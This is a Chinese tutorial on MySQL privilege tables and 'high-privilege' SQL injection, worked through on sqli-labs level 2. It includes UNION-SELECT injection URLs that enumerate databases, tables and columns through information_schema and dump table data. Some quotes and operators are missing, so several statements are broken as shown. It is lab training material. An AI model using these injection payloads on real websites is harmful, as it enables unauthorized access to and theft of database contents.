)
以下是以sqli-labs靶场第2关为例子讲解MySQL数据的高权限注入不涉及额外情况。一、什么是高权限注入在数据库管理中用户通常被分为两类系统用户与普通用户。两者的核心区别在于能否访问高级功能和系统资源表。简单来说系统用户拥有整个数据库的完全控制权限而普通用户只能操作已被授权的部分数据。当创建网站时需要建立数据库连接这时会使用两种不同的连接方式系统用户连接和普通用户连接。如果多个网站共用同一个数据库那么像 root 这样的系统用户就能对所有网站的数据进行管理而普通用户只能访问自己网站的数据以及被授予的有限权限。因此如果我们只拿到了普通用户的权限通常只能操作单个数据库甚至可能无法读写文件但如果我们获得了系统用户的权限不仅可以查看所有数据库还能对服务器上的文件进行读写操作。有两个前提1.用户权限必须为root权限2.数据库必须为高版本。但是目前市面上大部分公司用的都是高版本的数据库的。二、MySQL数据如何验证用户权限1.MySQL在验证用户权限时会分两步走首先检查身份合法性然后再分配操作权限。身份验证阶段系统会查看user表中的Host、User、Password字段确认当前连接的IP、用户名和密码是否匹配。只有通过这一步才会进入权限分配环节。2.权限的分配是按照一个逐层细化的顺序来进行的先从最宽泛的全局权限表user开始如果这张表里对应的权限项为“Y”那么该用户就拥有了对所有数据库的该权限不再继续往下检查如果为“N”则接着检查db表看用户对某个具体数据库是否有权限如果db表里也是“N”就继续检查tables_priv表看用户对某张表是否有权限最后还会检查columns_priv表确定用户对具体列的权限。这样一层层细化直到找到明确的授权信息。3.MySQL的权限管理依赖几张核心的系统表user表存放用户账户信息和全局权限决定了用户能否连接数据库实例以及拥有哪些全局操作权限。db表记录数据库级别的权限规定用户从哪些主机可以访问哪些数据库。tables_priv表存储表级别的授权控制用户对特定表的访问权限。columns_priv表管理列级别的权限精确到用户能否操作某个表的某个字段。procs_priv表负责存储过程和函数的权限控制。4.从权限的作用范围来看可以分成三个层级全局管理权限作用于整个MySQL实例比如创建数据库、管理用户等。数据库级别权限针对某个特定数据库或所有数据库的操作如对test库的增删改查。数据库对象级别权限针对表、视图、字段等具体对象的权限。5.实际操作中我们常用以下命令来管理用户和权限查看当前MySQL中有哪些用户SELECT user, host FROM mysql.user;查看某个用户的详细权限例如root用户如果所有权限字段都是“Y”就表示该用户拥有全部权限SELECT * FROM user WHERE userroot AND hostlocalhost\G;创建用户通常使用CREATE USER或GRANT语句推荐当然也可以直接往系统权限表里插入记录但这种方式容易出错不建议采用例如CREATE USER finleylocalhost IDENTIFIED BY some_pass;授权时可以精细到列比如只允许查询test库temp表的id字段GRANT SELECT(id) ON test.temp TO test1localhost IDENTIFIED BY 123456;如果想将一个普通用户提升为管理员可以赋予全局所有权限并允许其转授GRANT ALL PRIVILEGES ON *.* TO test1localhost WITH GRANT OPTION;删除用户则使用DROP USER命令例如DROP USER finleylocalhost;三、MySQL高权限注入注入流程参考《SQL注入之手工注入流程》https://blog.csdn.net/Jessica_XLF/article/details/159086821?spm1001.2014.3001.5502要使用高权限注入的前提条件之一是当前连接数据库的用户权限必须是root系统用户。查看sqli-labs靶场第2关的数据库用户为root权限http://localhost/sqli-labs-php7-master/Less-2/?id-1 union select 1,user(),31.查询所有数据库名称在information_schema下的schemata表中查询schema_name数据http://localhost/sqli-labs-php7-master/Less-2/?id-1 union select 1,2,group_concat(schema_name) from information_schema.schemata2.查询数据库对应的表名例如查询test数据库中的表名0x74657374是将test转换成了16进制格式如果直接填写库名不报错则不用进行转换http://localhost/sqli-labs-php7-master/Less-2/?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema0x746573743.查询数据表对应的列名例如查询emp表中的列名http://localhost/sqli-labs-php7-master/Less-2/?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name0x656D704.查询对应的数据http://localhost/sqli-labs-php7-master/Less-2/index.php?id-1 union select 1,2,(select group_concat(EMPNO,0x3a,ENAME) from test.emp)注意SQL语句中test.emp表示查询test数据库下的emp表数据如果直接写emp表会报错或将所有数据库下的emp表数据全部查询出来因为不同的数据库中都有可能存在emp表所以必须要指定数据库才行。